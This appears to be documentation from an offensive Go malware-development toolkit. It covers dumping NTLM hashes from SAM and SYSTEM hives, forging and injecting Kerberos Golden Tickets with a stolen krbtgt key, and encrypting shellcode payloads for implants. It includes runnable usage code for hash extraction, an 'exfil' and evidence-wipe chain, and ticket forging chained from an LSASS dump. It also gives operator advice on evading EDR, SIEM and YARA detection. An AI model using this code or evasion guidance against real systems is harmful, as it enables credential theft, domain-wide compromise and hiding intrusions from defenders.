samdump.Dump runs the entire chain in process memory with no syscalls. The hive bytes can come from anywhere — reg save, VSS shadow copy, raw NTFS read, recon/shadowcopy, or pulled offline from a backup. The package itself opens nothing.

How It Works

flowchart TD
    SYS[SYSTEM hive bytes] --> EBK[extractBootKey<br>permute Lsa class strings]
    EBK -->|16-byte boot key| HBK
    SAM[SAM hive bytes] --> RDF[readDomainAccountF<br>AES-encrypted blob]
    RDF --> HBK[deriveDomainKey<br>AES-128-CBC]
    HBK -->|hashed bootkey| LU
    SAM --> LU[listUserRIDs<br>walk Users key]
    LU --> PV[parseUserV<br>extract username + LM/NT enc]
    PV --> DEC[decryptUserNT / decryptUserLM<br>per-RID DES-permute<br>+ AES-128-CBC or RC4]
    DEC --> ACC[Account&#123;Username, RID, NT, LM&#125;]

Implementation details:

• The REGF reader (hive.go) walks named keys and value records through nk / vk cells without depending on golang.org/x/sys or any Windows-only API — cross-platform out of the box.
• Per-user failures are accumulated on Result.Warnings rather than aborting the dump; structural failures (missing boot key, malformed F, no Users key) return ErrDump.
• Account.Pwdump renders the canonical username:RID:LM:NT::: format consumed by hashcat (-m 1000), John (--format=NT), CrackMapExec NTLM hash auth, and impacket secretsdump.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/credentials/samdump is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — offline hives

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/credentials/samdump"
)

system, _ := os.Open(`/loot/SYSTEM`)
defer system.Close()
sam, _ := os.Open(`/loot/SAM`)
defer sam.Close()

sysFI, _ := system.Stat()
samFI, _ := sam.Stat()

res, err := samdump.Dump(system, sysFI.Size(), sam, samFI.Size())
if err != nil {
    panic(err)
}
fmt.Print(res.Pwdump())

With password history — feed hashcat every hash a user has ever held

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/credentials/samdump"
)

system, _ := os.Open(`/loot/SYSTEM`)
defer system.Close()
sam, _ := os.Open(`/loot/SAM`)
defer sam.Close()
sysFI, _ := system.Stat()
samFI, _ := sam.Stat()

res, _ := samdump.Dump(system, sysFI.Size(), sam, samFI.Size())

// Current + every historical hash, ready to pipe into:
//   hashcat -m 1000 -a 0 hashes.txt rockyou.txt
fmt.Print(res.PwdumpWithHistory())

// Or per-account introspection — count how many prior NT hashes
// each user has, useful for picking high-value targets first.
for _, a := range res.Accounts {
    fmt.Printf("%s (RID %d): current + %d historical NT hashes\n",
        a.Username, a.RID, len(a.NTHistory))
}

Composed — live host, cleanup, exfil

import (
    "os"

    "github.com/oioio-space/maldev/credentials/samdump"
    "github.com/oioio-space/maldev/cleanup/wipe"
)

dir, _ := os.MkdirTemp("", "")
res, sysPath, samPath, err := samdump.LiveDump(dir)
defer func() {
    _ = wipe.File(sysPath)
    _ = wipe.File(samPath)
    _ = os.RemoveAll(dir)
}()
if err != nil {
    panic(err)
}
exfilPwdump(res.Pwdump())

Advanced — VSS shadow-copy acquisition

reg save is loud. For better OPSEC, acquire the hives via VSS shadow copies through recon/shadowcopy and feed the files into the offline Dump path:

sc, _ := shadowcopy.Create()
defer sc.Delete()

sysReader, _ := sc.Open(`Windows\System32\config\SYSTEM`)
samReader, _ := sc.Open(`Windows\System32\config\SAM`)

res, err := samdump.Dump(sysReader, sysReader.Size(),
    samReader, samReader.Size())

See ExampleDump for the runnable variant.

OPSEC & Detection

D3FEND counters:

• D3-PSA — flags reg.exe save lineage.
• D3-FCA — REGF magic on disk in atypical paths.
• D3-SICA — registry hive-handle telemetry.

Hardening for the operator:

• Prefer offline acquisition (VSS via recon/shadowcopy, raw NTFS read, backup files) over LiveDump.
• Stage hive bytes through an in-memory io.ReaderAt (e.g. bytes.NewReader) to avoid the .hive files on disk altogether.
• Wipe the dir immediately after parsing — cleanup/wipe.File zeroes the bytes before unlinking.

MITRE ATT&CK

Limitations

• Local accounts only. SAM holds only the workstation's local users. Domain credentials live in NTDS.dit on the DC; use separate tooling (impacket secretsdump remote, mimikatz lsadump::dcsync).
• History coverage. Per-account NT and LM password-history blobs are now decoded and surfaced as Account.NTHistory / Account.LMHistory (most-recent-first). Render via Account.PwdumpHistory() / Result.PwdumpWithHistory(). Each historical NT hash is a full pass-the-hash candidate against any host that hasn't enforced rotation. Windows default MaximumPasswordHistory=24 — expect up to 24 historical hashes per account. LM history is empty by default on Win10 1607+.
• DPAPI / cached creds out of scope. Domain cached credentials (Cache{N}) live in SECURITY hive; SECURITY parsing is not in this package.
• LiveDump is loud. reg.exe save lights up every behavioral EDR. Plan for offline acquisition wherever the operational context allows.
• AES revision only validated against Win10 1607+. Older XP/2003 RC4-keyed hives use the legacy code path; tested less recently.

See also

• LSASS dump (live process memory) — cousin path for live cached credentials.
• credentials/sekurlsa — companion LSASS extractor.
• recon/shadowcopy — VSS-based hive acquisition.
• cleanup/wipe — secure deletion of the on-disk hive copies.
• Operator path — credential-harvest decision tree.
• Detection eng path — SAM-dump telemetry.

Kerberos Golden Ticket

← credentials index · docs/index

TL;DR

You stole the domain controller's krbtgt account hash (via credentials/lsassdump on a DC, NTDS.dit extraction, etc.). With that hash you can forge an arbitrary Kerberos TGT — any user, any group membership, any lifetime — that the entire domain trusts until krbtgt is rotated (in practice: often never).

What this DOES achieve:

• Long-dwell domain admin: forged TGT works for any principal (typically Administrator) with any group membership (typically Domain Admins SID + Enterprise Admins SID).
• Survives password rotation of the impersonated user — only krbtgt rotation kills it.
• Pure-Go ASN.1 marshaling — no kerberos external dep, no Java/Python tooling required.

What this does NOT achieve:

• Doesn't steal the krbtgt hash — pre-requisite. Get from credentials/lsassdump on a DC, NTDS.dit extraction (impacket-style), or DCSync (out of scope here).
• Detectable: forged TGTs have telltale anomalies (PAC signature using only one key when DC normally uses two, LogonTime mismatch with KerbValidationInfo.LogonTime, abnormal EncTicketPart.Renew-till > 7 days). Mature SIEMs
  • Microsoft Defender for Identity look for these.
• Not for cross-realm trust — forged TGT works inside the realm krbtgt belongs to. Cross-forest needs a different attack class.
• PAC signature breaks if the realm enables PAC validation to the KDC (rare but increasing) — the KDC can reject forged tickets it didn't issue. Default is no validation.

Primer

Kerberos TGTs are signed by krbtgt, a domain-wide service account whose long-term key never leaves a domain controller. Anyone holding the krbtgt key can mint a TGT for any principal — there is no online check until the next krbtgt rotation. Microsoft recommends rotating krbtgt twice per year; in the wild it is typically rotated never.

The forged TGT carries a Privilege Attribute Certificate (PAC) inside its EncTicketPart. The PAC is the authorization data: it declares which groups the principal belongs to. By forging the PAC the operator claims Domain Admins, Enterprise Admins, Schema Admins, and Group Policy Creator Owners regardless of what the AD database says. The PAC also fixes a LogonTime and KickoffTime — set the kickoff 10 years in the future and the ticket is valid for a decade.

Two PAC signatures (server checksum + KDC checksum) protect the PAC from tampering; both are computed with the krbtgt key, so once you have the key you control the signatures too. Member servers typically don't validate the KDC checksum (the PAC_VALIDATE_TICKET callback is rarely wired up), making the ticket usable everywhere.

The package supports the three crypto suites Active Directory shipped with NT 4 → today: RC4-HMAC (NT hash, 16 bytes; legacy but universally present), AES128-CTS-HMAC-SHA1-96 (16 bytes), and AES256-CTS-HMAC-SHA1-96 (32 bytes). Modern AES-only domains accept RC4 tickets only when RC4_HMAC is explicitly enabled — check msDS-SupportedEncryptionTypes on the krbtgt object before choosing.

How It Works

flowchart LR
    P[Params<br>Domain + krbtgt hash<br>+ user/RID/groups] --> PAC[buildPAC<br>KERB_VALIDATION_INFO<br>+ PAC_CLIENT_INFO<br>+ 2× PAC_SIGNATURE_DATA]
    PAC --> ETP[EncTicketPart<br>flags + cname + crealm<br>+ key + AuthTime/EndTime<br>+ AuthorizationData=PAC]
    ETP --> ENC[encrypt with krbtgt key<br>RC4 / AES128 / AES256]
    ENC --> KC[KRB-CRED<br>kirbi blob]
    KC --> OUT{output}
    OUT -->|Forge returns bytes| DISK[ccache / .kirbi file<br>cross-platform]
    OUT -->|Submit on Windows| LSA[LsaCallAuthenticationPackage<br>KerbSubmitTicketMessage]
    LSA --> CACHE[per-LUID TGT cache]

Implementation details:

• The PAC server signature covers the encrypted ticket bytes; the KDC signature covers the server signature. Both are HMAC-MD5 for RC4 / HMAC-SHA1-96 for AES — keyed on the krbtgt long-term key, which is also the ticket-encryption key.
• default_templates.go ships DefaultAdminGroups — {512, 513, 518, 519, 520} (Domain Admins, Domain Users, Schema Admins, Enterprise Admins, Group Policy Creator Owners).
• Forge is deterministic for a fixed Params + a fixed Params.NowFunc — useful for tests and reproducibility.
• Submit calls LsaCallAuthenticationPackage with KerbSubmitTicketMessage. The kirbi is written into the calling user's per-LUID cache; the next outbound Kerberos operation from the process picks it up. No domain controller contact is required.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/credentials/goldenticket is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — forge with defaults, write to disk

import (
    "os"

    "github.com/oioio-space/maldev/credentials/goldenticket"
)

p := goldenticket.Params{
    Domain:    "corp.example.com",
    DomainSID: "S-1-5-21-1111-2222-3333",
    Hash: goldenticket.Hash{
        EType: goldenticket.ETypeAES256CTSHMACSHA196,
        Bytes: aes256KrbtgtKey,
    },
}
kirbi, err := goldenticket.Forge(p)
if err != nil {
    panic(err)
}
_ = os.WriteFile("admin.kirbi", kirbi, 0600)

Composed — forge + inject into current process

kirbi, err := goldenticket.Forge(p)
if err != nil {
    panic(err)
}
if err := goldenticket.Submit(kirbi); err != nil {
    panic(err)
}
// any subsequent Kerberos call (SMB, LDAP, RDP) from this process
// authenticates as p.User with the forged group memberships.

Composed — pre-flight validation (operator sanity check)

import (
    "errors"
    "log"

    "github.com/oioio-space/maldev/credentials/goldenticket"
)

// Use case: I just stole a krbtgt key from a DC LSASS dump. Did
// the dump survive the round-trip cleanly? Does my key actually
// produce a PAC that re-validates? Run a self-test before risking
// detection by submitting the kirbi.
//
// `pacBytes` here is the raw PAC blob from a captured ticket or a
// round-tripped Forge → extract-PAC sequence. ValidatePAC is the
// reverse of buildPAC's signature dance.
err := goldenticket.ValidatePAC(pacBytes, krbtgtHash)
switch {
case err == nil:
    log.Println("PAC signatures valid — krbtgt key works")
case errors.Is(err, goldenticket.ErrInvalidServerSignature):
    log.Println("server signature mismatch — wrong key or tampered PAC body")
case errors.Is(err, goldenticket.ErrInvalidKDCSignature):
    log.Println("KDC signature mismatch — server sig was tampered after forge")
default:
    log.Printf("PAC validation failed: %v", err)
}

Advanced — chained off the sekurlsa extractor

import (
    "github.com/oioio-space/maldev/credentials/goldenticket"
    "github.com/oioio-space/maldev/credentials/sekurlsa"
)

res, _ := sekurlsa.ParseFile(`C:\dc01-lsass.dmp`, nil)
defer res.Wipe()

// Find the krbtgt session in the parsed dump.
var krbtgtKey []byte
for _, sess := range res.Sessions {
    if sess.UserName == "krbtgt" {
        for _, c := range sess.Credentials {
            if msv, ok := c.(*sekurlsa.MSVCredential); ok {
                krbtgtKey = msv.NTHash
            }
        }
    }
}

p := goldenticket.Params{
    Domain:    "corp.example.com",
    DomainSID: "S-1-5-21-1111-2222-3333",
    Hash: goldenticket.Hash{
        EType: goldenticket.ETypeRC4HMAC,
        Bytes: krbtgtKey,
    },
}
kirbi, _ := goldenticket.Forge(p)
_ = goldenticket.Submit(kirbi)

See ExampleForge

• ExampleSubmit for the runnable variants.

OPSEC & Detection

D3FEND counters:

• D3-AZET — flags long-lived TGTs and unexpected admin-group access.
• D3-NTA — correlates Kerberos traffic to authentication-source anomalies.

Hardening for the operator:

• Set Lifetime to a value the domain's policy actually allows (MaxTicketLifetime, default 10h) at the cost of frequent refreshes — reduces the loudest indicator.
• Use the actual etype the domain expects; AES256 is the modern default.
• Forge for a non-admin principal that legitimately needs broad access (Backup Operator, Replicator) instead of Administrator to dodge naive group-name allowlists.
• Forge Forge on a Linux launchpad and only ship the kirbi to the target — the binary size on the Windows host stays minimal.

MITRE ATT&CK

Limitations

• krbtgt rotation defeats the ticket. AD silently retires forged TGTs after the second rotation — no error, the ticket simply stops decrypting.
• No Diamond / Sapphire variants. This package forges classic Golden Tickets only; Diamond Tickets (modify-don't-forge) and Sapphire Tickets (modify a real TGT's PAC via S4U2Self) are not in scope.
• No Silver Ticket support. Silver Tickets target a service account's NTLM hash and forge service-specific TGS tickets; algorithm overlaps but PrincipalName and the encryption key are different — separate package.
• Submit is per-process, per-LUID. The injected ticket only helps Kerberos calls from this process; child processes inherit the cache but unrelated processes do not.
• PAC structural validation gap (logical only). Forge does not validate the produced PAC against MS-PAC §2 except by checksumming. Hand-crafted group RIDs that don't exist won't be rejected by the package itself — defenders can. The new ValidatePAC covers cryptographic signature integrity (server + KDC) but NOT logical field validity (RID plausibility, UNICODE_STRING shape, group-membership coherence).
• ValidatePAC does not check TicketChecksum (type 0x10) or ExtendedKDCChecksum (type 0x13). Most golden tickets don't carry them; their inclusion is a 2022+ Kerberos hardening concern out of scope for the current Forge path. When/if Forge starts emitting them, ValidatePAC must be extended in the same commit.

See also

• credentials/sekurlsa — extracts krbtgt hashes from a DC LSASS dump.
• credentials/lsassdump — produces the LSASS dump consumed by sekurlsa.
• Operator path — where Golden Ticket fits in the harvest chain.
• Detection eng path — Kerberos audit signals.
• MS-PAC §2 — public PAC structure spec.

Crypto techniques

← maldev README · docs/index

The crypto/ package supplies confidentiality and signature-breaking primitives for payload protection. Two surfaces sit side-by-side: strong AEAD ciphers for the outer envelope, and lightweight transforms for layered unpackers and signature defeat.

[!NOTE] Encoding (Base64, UTF-16LE, PowerShell -EncodedCommand) lives in docs/techniques/encode. Hashing (cryptographic + fuzzy + ROR13) lives in docs/techniques/hash.

TL;DR

flowchart LR
    SC[shellcode] -->|EncryptAESGCM| ENV[encrypted envelope]
    ENV -->|optional layers| OBF[XTEA / S-Box / Matrix]
    OBF --> EMBED[ship in implant]
    EMBED -.runtime.-> DEC[DecryptAESGCM]
    DEC --> WIPE[memory.SecureZero key]
    WIPE --> RUN[inject.Inject]

Build-time: encrypt with AES-256-GCM (or XChaCha20-Poly1305), optionally wrap in 1–2 lightweight obfuscation layers, embed in the implant. Runtime: decrypt → wipe key → inject → wipe plaintext.

Where to start (novice path):

1. payload-encryption — the only page in this area. Read the "Pick the primitive" 9-row matrix at the top to choose your cipher; read the recommended 3-layer stack diagram for the standard permutation→cipher→AEAD ordering.
2. After encrypting, pair with cleanup/memory-wipe to scrub the key + plaintext from memory after use.

Packages

The package mixes three layers; the technique page documents each layer separately.

For a side-by-side comparison of every primitive (Layer / Speed / Entropy / Key size / IV / Authenticated / Reversible / Static signature / Best-for), see the "Pick the primitive" 9-row matrix in payload-encryption.md. The matrix is the canonical place to make a "which cipher / transform do I reach for?" choice; the decision tree below is a quick-reference shortcut.

Quick decision tree

MITRE ATT&CK

See also

• Operator path: payload protection
• Researcher path: cipher choice
• Detection eng path: high-entropy artefacts
• encode — transport-safe representations.
• hash — integrity + fuzzy similarity + ROR13.
• cleanup/memory.SecureZero — pair to wipe keys after use.

Payload encryption & obfuscation

← crypto index · docs/index

TL;DR

Three-tier toolkit: AEAD ciphers (AES-GCM, XChaCha20-Poly1305) for the outer envelope; lightweight stream/block ciphers (RC4, TEA, XTEA) for in-process unpackers; signature-breaking permutations (S-Box, Matrix Hill, ArithShift, XOR) to defeat YARA byte patterns. Pure Go, no CGo, cross-platform.

Recommended layer stack:

implant.exe disk bytes
    │
    ├─ Layer 1: signature-breaking permutation (S-Box / XOR)
    │           Defeats static YARA on the encrypted blob.
    │
    ├─ Layer 2: lightweight cipher (RC4 / TEA)
    │           In-process unpacker — minimal footprint.
    │
    └─ Layer 3: AEAD outer envelope (AES-GCM)
                Authenticated; tampering detection.

Primer — vocabulary

Six terms recur on this page:

AEAD (Authenticated Encryption with Associated Data) — cipher mode that produces both ciphertext AND an authentication tag. Decrypting with the wrong key OR tampered ciphertext fails loudly (tag mismatch). AES-GCM and XChaCha20-Poly1305 are the AEAD modes shipped here. Always use AEAD for the outer envelope so on-disk corruption fails early instead of producing garbage shellcode.

Nonce / IV — single-use bytes that randomise the cipher's output so the same key + plaintext doesn't always produce the same ciphertext. Reusing a nonce with the same key catastrophically breaks security (key recovery for stream ciphers, plaintext recovery for AES-GCM). XChaCha20's 24-byte nonce is large enough that random nonces practically never collide.

Authentication tag — fixed-size value (16 bytes for AES-GCM) appended to the ciphertext. Checked on decryption; any byte flip in the ciphertext makes the tag mismatch.

Stream cipher — produces a keystream of pseudorandom bytes XOR'd with plaintext. RC4 is the canonical example. No authentication; no nonce (just a key). Cheap to implement; never use as outer envelope (no tampering detection).

Permutation — reversible byte rearrangement (S-Box, Matrix Hill, ArithShift) that defeats YARA static rules looking for a known byte pattern. Doesn't add entropy — just shuffles. Pair with a real cipher beneath.

YARA — defender's pattern-matching language. Rules describe byte sequences ("look for \xE9\x4D\x32\xCB"). Layered permutation + cipher means the disk artefact never matches any byte sequence the implant author or attacker tooling baseline contains.

Pick the primitive

Side-by-side. Pick the row whose tradeoffs match the deployment context, then click through to the API Reference for that function.